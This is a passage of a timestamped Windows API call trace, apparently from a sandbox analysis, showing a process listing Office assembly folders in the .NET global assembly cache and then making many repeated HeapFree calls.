	[0078.772] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x348c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessdata.intl.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0078.772] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325e69c | out: lpFindFileData=0x325e69c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x348c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.office.businessdata.intl.dll", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0078.772] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0078.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43be650 | out: hHeap=0x4f0000) returned 1
	[0078.772] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325e918 | out: lpFindFileData=0x325e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0
	[0078.772] FindClose (in: hFindFile=0x5e08f0 | out: hFindFile=0x5e08f0) returned 1
	[0078.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0078.772] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0
	[0078.773] FindClose (in: hFindFile=0x5e0970 | out: hFindFile=0x5e0970) returned 1
	[0078.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.774] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0
	[0078.774] FindClose (in: hFindFile=0x5e03b0 | out: hFindFile=0x5e03b0) returned 1
	[0078.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0078.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0078.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0078.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0079.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0079.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0079.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0079.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0079.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0079.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0079.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0079.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0079.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0079.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0079.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0079.041] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0079.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0079.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0079.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0079.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0079.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0079.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0079.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x434c238 | out: hHeap=0x4f0000) returned 1
	[0079.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x434c238 | out: hHeap=0x4f0000) returned 1
	[0079.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0079.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0079.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x434c238 | out: hHeap=0x4f0000) returned 1
	[0079.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0079.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x434c238 | out: hHeap=0x4f0000) returned 1
	[0079.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0079.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0079.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0079.470] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0079.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0079.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0079.705] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0079.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.707] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0079.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.711] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.712] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0079.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0079.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0079.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0079.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0081.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0081.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0081.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0081.857] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0081.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0081.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0081.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0081.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0081.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0081.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0081.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0081.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0081.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0081.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0081.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0081.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0081.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0081.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0081.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0081.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0081.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0081.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0081.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0081.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0081.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0082.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0082.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
